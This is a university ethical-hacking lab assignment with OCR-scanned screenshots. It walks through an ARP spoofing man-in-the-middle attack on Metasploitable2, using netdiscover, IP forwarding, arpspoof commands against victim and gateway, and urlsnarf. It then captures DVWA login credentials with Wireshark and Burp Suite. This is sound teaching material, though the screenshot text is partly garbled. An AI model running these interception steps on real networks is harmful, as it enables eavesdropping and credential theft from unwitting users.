Assignment 7 — Packet Sniffing
CYSE 450 Ethical Hacking and Penetration Testing

Task: Performing an ARP Spoofing Attack

1. Power on and login to Kali Linux and Metasploitable2 (Target Machine) [NOTE: You can choose
windows XP/7 as an alternative for metasploitable2, if you want]

2. Open a root terminal on the Kali Linux virtual machine and discover the IP addresses of the other
machines on the network to spoof them (that is, pretend to be them) using netdiscover

tool/command.
Currently scanning: 192.168.19.0/16 | Screen View: Unique Hosts
18 Captured ARP Req/Rep packets, from 18 hosts. Total size: 1080
IpP At MAC Address Count Len MAC Vendor / Hostname

38:a0:67:7a:0a:
60:74:f4:61:1F:
60:74:f4:65:ae:
60:74:f4:5d:11:
08:00: ee:ac:
80:0c: :32:b9:
c0:91: :89:64:
80:60: :19:5a:
60:74:f4:3e:d3:
60:74:14:62:02:
60:74: :be:2a:
14:18:c3:7f:6¢C:
60:74:f4:65:10:
60:74:14:69:12:
60:74:14:61:23:
00:18:e4:f4:8d:
d8:42:e2:19:43:
6a:8a: :25:5b:

60 Nokia Solutions and Networks GmbH &
60 Unknown vendor

6@ Unknown vendor

6@ Unknown vendor

60 PCS Systemtechnik GmbH

60 Amazon Technologies Inc.

60 Amazon Technologies Inc.

60 CLOUD NETWORK TECHNOLOGY SINGAPORE P
6@ Unknown vendor

60 Unknown vendor

60 Unknown vendor

60 Intel Corporate

6@ Unknown vendor

6@ Unknown vendor

60 Unknown vendor

60 YIGUANG

60 Canary Connect, Inc.

60 Unknown vendor
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3. You need to allow the Kali Linux machine to forward packets on behalf of other machines by enabling
IP forwarding. Make sure that you’re a root user on Kali Linux, and then enable IP

forwarding by setting the IP forwarding flag.

4. Generate multiple fake ARP replies by running the following command (in root terminal):

arpspoof -i ethO -t IP-address_of_Victim IP address of-Gateway
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5. Also trick the router into believing you are the victim so that you can intercept incoming internet
traffic on the victim’s behalf. Open a new root terminal and run the command that follows:

arpspoof -i ethO -t IP address of-Gateway IP-address_of_Victim
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6. Check the Arp table in the target Machine. Did you notice any changes in the MAC address for the

gateway?



Command Prompt
CC>» Copuyright 1985-2881 Microsoft Corp.

C:~Documents and Settings“Chris>ifconfig
*ifconfig’ iz not recognized as an internal or external command.
operable program or hatch file.

C:~Documents and Settings“Chris>ipconfig

Windows IPF Configuration

Ethernet adapter Local Area Connection:

Connection—specific DHE Suffix lan

IP Address. . . . . 192.168.12.239
Subnet Mask . . . . 255.255.255.8
Default Gateway . . 192 168.12.1

C:~Documents and Settings“Chris>arp -a
Interface: 192.168.12.23% ——— Bx2

Internet Address Physical Address Type
192 168.12.1 38—abl-67-7a—Ba—dd dynamic

C:~Documents and Settings\Chris>

7. In another terminal in Kali VM, type the following command to Extract the URLs running.

ethe
[sudo] password for svatsa:
urlsnarf: listening on eth® [tcp port 80 or port 8080 or port 3128]

192.168.1.34 - - [28/0ct/2023:11:53:10 -0400] "GET http://tikiwiki.com/ HTTP/1.0" - - "-" "Wget/1.10.2"

8. Open a browser in kali Linux and type the IP address of Metasploitable2 (Target Machine). Then go to

DVWA page which would look like the following screenshot.

Login using username : admin and password : password (These should be provided in the

same login page of DVWA)



®® DamnVulnerable WebApp( X  ® New Tab
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9. Now open Wireshark and analyze HTTP POST packet to capture the credentials you used to login to
DVWA page in Metasploitable2 VM. Please submit the screenshot.
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AODAOG® G BBME 2@ ¢« »n «>HPE oo o[l
[

Source Destination Protocol Length
.564745149 i o ) 5 I GET /dvwa/logout.php HTTP/1
.575793015 ) v 68 - £ 1Y HTTP/1.1 302 Found
.580416008 " % IR g B GET /dvwa/login.php HTTP/1.
.596014452 . i ’ o1 HTTP/1.1 200 OK (text/html
.359148373 % IR 3 5 B POST /dvwa/login.php HTTP/1
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10. Open Burp Suite in Kali Linux to harvest the credentials - username and password and highlight
those in the screenshot.

Firefox ESR

Repeater Collzbaratar Sequencer Decoder Comparer Logger Organizer Extensions {5} Settings

HTTP history WebSockets history &) Proxy settings

y Request to http:/192.168.12.137:80

Forward Drop Action Open browser Add note G HTTP ®
Raw Hex a n

1 POST sdwwa/Login. php HTTP/1.1
2 Host: 152.188.12.137 4
2 Content-Length: 44 Recues tatizhutes
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
G Origin: http://192.168.12. 137
7 Content-Type: application/x-www-form-urlencoded
2 User-Agent: Mozilla/S.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Request body parameters 3 w
Chrome/119. 0. 6045. 155 Safaris/s37.36
2 Accept:
text/html, application/xhtml+xml, application/xml; = 0. 9, image/avif, image/webp, image/apng, */*; q=0. 8, application/s Request coakies 2 b
igned-exchange; v=h3; 0. 7
10 Referer: http: //192.168.12. 137/dvwa/Login. php
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US, en;cF0.9
12 Cockie: security=high; PHPSESSID=c223edcSf202291024f9a78c2ac3c330
14 Connection: close

13
&name= admingépassword=passwordilogireLogin '

Inspector n ) = - & X
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sajopN [

Request headers 13 w

@ & |€]|[=2] | searct * il 0 highlights

NOTE: You need to turn on the intercept in burp suite Proxy.



